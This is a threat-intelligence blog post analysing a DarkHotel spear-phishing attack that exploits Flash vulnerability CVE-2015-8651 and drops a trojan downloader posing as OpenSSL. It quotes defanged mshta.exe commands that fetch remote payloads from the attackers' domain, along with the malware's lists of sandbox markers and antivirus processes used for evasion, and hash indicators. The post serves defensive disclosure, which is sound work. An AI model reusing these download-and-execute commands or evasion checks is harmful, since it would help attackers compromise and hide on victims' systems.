Anatomy of an active attack using CVE-2015-8651 from DarkHotel cybercriminal group

Mar 2 2016

On Dec 28 2015, Adobe has released security updates for Adobe Flash Player. These updates address 19 critical security vulnerabilities that could potentially allow an attacker to take control of the affected system, includes a fix for a vulnerability (CVE-2015-8651) that is said according to Adobe is being used in the limited, targeted attached in the wild.

The earliest infection for CVE-2015-8651 and the active threat attack from our tracking data is back to Dec 24 2015. It is four days before Adobe release the security patch for CVE-2015-8651. The infections we have been tracking are reported from

• China

• Russian

• North Korean

On Dec 31 2015, we published a blog in Chinese: “Executives from China enterprise are being targeted by DarkHotel cybercriminal group” (https://threatbook.cn/blog_detail?id=4) about this active attack using CVE-2015-8651 that we identified in China. In this blog, we will provide more in depth technical analysis about attack’s functionalities implementation, anti-analysis and anti-detection techniques and concluded analysis about the cybercriminal group behind the attack.

How - Attack vector

An active attack using flash zero-day vulnerability patched in CVE-2016-8651 (Adobe release OOB patch on Dec 28 2015) has been spread via spear phishing email since Dec 24 2015. The crafted SWF file exploiting CVE-2015-8651 vulnerability is embedded as a downloadable link in a word document used in email attachment.

The earliest infection report we received is back to Dec 24 2015. It is four days before Adobe release the security patch for CVE-2015-8651. The infections are from China, Russian, North Korean.

When the SWF link is clicked, the crafted SWF exploits CVE-2015-8651 and triggers following shellcode be executed:

The main function of payload is to download a file named updata.exe and save it under system %temp% folder. It decrypts the content and constructs a valid PE by adding MZ header via ECHO command.

What – Malicious Payload Analysis

The downloaded updata.exe has following file property metadata. It is a crafted version of OpenSSL 1.0.1l.

Disguising itself as a component of OpenSSL, Updata.exe is actually a Trojan downloader, it attempts to download further malicious components and execute them via mshta.exe.

- C:Windowssystem32mshta.exe hxxp://manage-163-account.com/image/read.php?g0HNwgjM2QDN0kDNCFTLBZDM10iNwATQtY0MEJULEBzQxkjQ0Aze

- C:Windowssystem32mshta.exe hxxp://manage-163-account.com/image/read.php?gws_rd=NjdFQzgzNTgzNzgy&gfe_rd=QzB2NDAwMDFFMDAwNTA2Nmw0Mi01UDEwNEE1MDBzOTAwMGkwRERDNg==

- C:Windowssystem32mshta.exe hxxp://manage-163-account.com/image/read.php?gfe_rd=QzB2NDAwMDFFMDAwNTA2Nmw0Mi01UDEwNEE1MDBzOTAwMGkwRERDNg==&gws_rd=MUU1MTcxODY3RTJB
&fbm_hty=ssapdote_creosSroeixs_ie_swsinp_chllsseEdWlln_crsrvm__esnnuvcntrmtt__rdiuo2_VlesidcSd__lotoner_tumsSatp
_y_rsMhsos_iemgfUr_pmm_vowaoadoc_sRw3erVCdi_t_sl_nsssGsloV_Pani

The strings in updata.exe are heavily encrypted in the payload file. The decryption happens dynamically in the memory. The decryption function is called to decrypt the string, library name or process API when they are needed. The decrypted string, library name or process API name’s memory block is set with non-related text data after they have been used. By using this technique, it attempts to anti memory tracking, memory dump which are common practice security researchers use while analyzing malware.

Here is a code snip extracted from payload for this technique described above

The input parameters for function m_CreateFileA are all decrypted dynamically. Function API CreateFileA is also dynamically decrypted from an encrypted table.

gEncApis and gEncWinDlls point to the encrypted string table for function APIs names and Windows library names. This is after they are decrypted:

DynMem_Erase is the function to wipe out the decrypted memory block.

In addition to encryption, it also applies anti-sandbox and anti-anti-virus techniques to evade being detected.

• Checking whether module path contains any of the following strings which are related with sandbox analysis environment:

• Enumerating the running process and compare their process name with the hard coded string list. If any of string is matched, it exits

• Checking following export functions in all loaded modules’ export table, which is commonly used by sandbox.

- "SbieDll_RunSandboxed": Sandboxie user mode hooking DLL
- "SbieDll_Hook@12"
- "InjectDllMain"
- “hook_disable_retaddr_check": Cuckoo user mode DLL
  “New2_CreateProcessInternalW@48"
- “CharmVersionC"
- “PinWinMain": PIntool (Intel PIN) DBI
  - “dr_app_running_under_dynamorio": Dynamo RIO DBI
  - "dr_inject_wait_for_child"

• Checking whether user account contains following key strings, which is related to commonly known sandbox.

- "CUCKOO"
- "SANDBOX-"
- "NMSDBOX-"
- "XXXX-OX-"
- "CWSX-"
- "WILBERT-SC"
- "XPAMAST-SC"

• Checking whether running process name contains the following key strings, which is commonly known anti-virus program.

- avp.exe
- avpui.exe
- mcagent.exe
- McNASvc.exe
- MpfSrv.exe
- McProxy.exe
- mcmscsvc.exe
- McUICnt.exe
- McAPExe.exe
- mfefire.exe
- McCSPServiceHost.exe
- mcshield.exe
- mfevtps.exe
- McSvHost.exe
- McVulCtr.exe
- mcagent.exe
- McNASvc.exe
- MpfSrv.exe
- McProxy.exe
- mcmscsvc.exe
- McUICnt.exe
- McAPExe.exe
- mfefire.exe
- McCSPServiceHost.exe
- mcshield.exe
- mfevtps.exe
- McSvHost.exe
- McVulCtr.exe
- ZhuDongFangYu.exe
- 360tray.exe
- 360sd.exe
- 360rp.exe
- qhsafetray.exe
- qhwatchdog.exe
- qhactivedefense.exe
- ServiceHost.exe
- mcshield.exe
- mfevtps.exe
- McSvHost.exe
- McVulCtr.exe
- ayagent.aye
- ayrtsrv.aye
- ayupdsrv.aye
- 360rp.exe
- qhsafetray.exe
- qhwatchdog.exe
- qhactivedefense.exe
- ServiceHost.exe
- mcshield.exe
- mfevtps.exe
- McSvHost.exe
- McVulCtr.exe
- avguard.exe
- avgnt.exe
- avcenter.exe
- 360rp.exe
- qhsafetray.exe
- qhwatchdog.exe
- qhactivedefense.exe
- mcshield.exe
- mfevtps.exe
- McSvHost.exe
- McVulCtr.exe
- ccsvchst.exe
- 360rp.exe
- qhsafetray.exe
- qhwatchdog.exe
- qhactivedefense.exe
- ServiceHost.exe
- mcshield.exe
- mfevtps.exe
- McSvHost.exe

- McVulCtr.exe
- avgtray.exe
- avgui.exe
- avgidsagent.exe
- avgwdsvc.exe
- avgrsa.exe
- avgcsrva.exe
- avgcsrvx.exe
- mcshield.exe
- mfevtps.exe
- McSvHost.exe
- McVulCtr.exe
- afwServ.exe
- avastui.exe
- avastsvc.exe
- avgwdsvc.exe
- avgrsa.exe
- avgcsrva.exe
- avgcsrvx.exe
- mcshield.exe
- mfevtps.exe
- McSvHost.exe
- McVulCtr.exe
- msseces.exe
- msmpeng.exe
- nissrv.exe
- egui.exe
- ekrn.exe
- AdAwareDesktop.exe
- AdAwareService.exe
- AdAwareTray.exe
- AdAwareUpdater.exe
- BHipsSvc.exe
- bavhm.exe
- BavSvc.exe
- BavTray.exe
- BavUpdater.exe
- Bav.exe
- BaiduHips.exe
- BaiduSdTray.exe
- BaiduSdSvc.exe
- bdagent.exe
- bdwtxag.exe
- kxetray.exe
- kxescore.exe
- CisTray.exe
- cavwp.exe
- cmdagent.exe
- cis.exe
- cmdupd.exe
- mbam.exe
- mbamscheduler.exe
- mbamservice.exe
- PSUAMain.exe
- PSUAService.exe
- PSANHost.exe
- dwscanner.exe
- dwengine.exe
- dwarkdaemon.exe
- dwnetfilter.exe
- dwservice.exe
- RsMgrSvc.exe
- RavMonD.exe
- RavMonD.exe
- RsTray.exe
- QQPCRTP.exe
- QQPCTray.exe
- K7TSHlpr.exe
- K7TSMain.exe
- K7TSMngr.exe
- K7TSecurity.exe
- K7CrvSvc.exe
- K7EmlPxy.exe
- K7CTScan.exe
- K7SysMon.Exe
- K7FWSrvc.exe
- K7PSSrvc.exe
- a2guard.exe
- a2service.exe
- avk.exe
- avktray.exe
- avas.exe
- tptray.exe
- fsma32.exe
- fsorsp.exe
- econser.exe
- escanmon.exe
- pctsSvc.exe
- pctsGui.exe
- casc.exe
- umxengine.exe
- nsesvc.exe
- cclaw.exe
- v3svc.exe
- guardxup.exe
- fprottray.exe
- vba32ldr.exe

Who – group behind the attack

Based on our analysis about infection chains, tools and techniques used in the attack, the cybercriminal group behind this attack-- DarkHotel, started to surface.

DarkHotel APT attacks can be traced back in 2007. Since 2010, the attacks have been targeting corporate executives during their business travel, attempting to plant backdoor Trojan on their system and stealing business intelligence when they tried to connect hotel’s network connection. Therefore, in 2013, Kaspersky released a research report for this APT group and named it "DarkHotel". The targets of DarkHotel APT attacks are usually from Asia-Pacific business executives and senior staff, such as CEO, SVP, executives and senior research staff. The targeted industries of DarkHotel APT attacks are usually electronics manufacturing, telecommunications, investment, defense industry, automobile and so on.

Since 2013, the infection chains and techniques used in each DarkHotel APT attacks are similar. The infection vector starts with spear phishing email attached an office document with flash link embedded. The flash link leads to a crafted SWF file exploiting flash player zero-day vulnerabilities and carries out attacks. The zero-day vulnerability it used in this APT attack is CVE-2015-8651. To avoid the latest anti-virus detections, it applies multiple techniques similar to what we described above in this round attack.

The follow table lists attack characteristics from DarkHotel group and comparison between latest attack and its precedents:

Indicators of Compromise (IOC)

Crafted SWF files exploits CVE-2015-8651 (MD5)

• F74B90E77F38A06FF3F48D6DE182A45A
• 06D9330A56373D4BC4F57E28B8827ED5

Trojan Downloader downloaded by SWF (MD5)

• 5f4c355c95927c5712e9deacd31a2fa8
• ABDA7CED5FDDF2339D076D62A6B91D4E
• d8a06811385e0fd463f215a43b366169
• 3ACDEF50A42D038DE579F5CED74EB97F
• a5ec201b518ce52c50cd8175ad79d5ea
• eac466fb9be8f98c29bfe513949f2ab5
• d0399ca4c86909bc03ccf470534264c5

The domain host HTA files:

• manage-163-account.com

返回Blog首页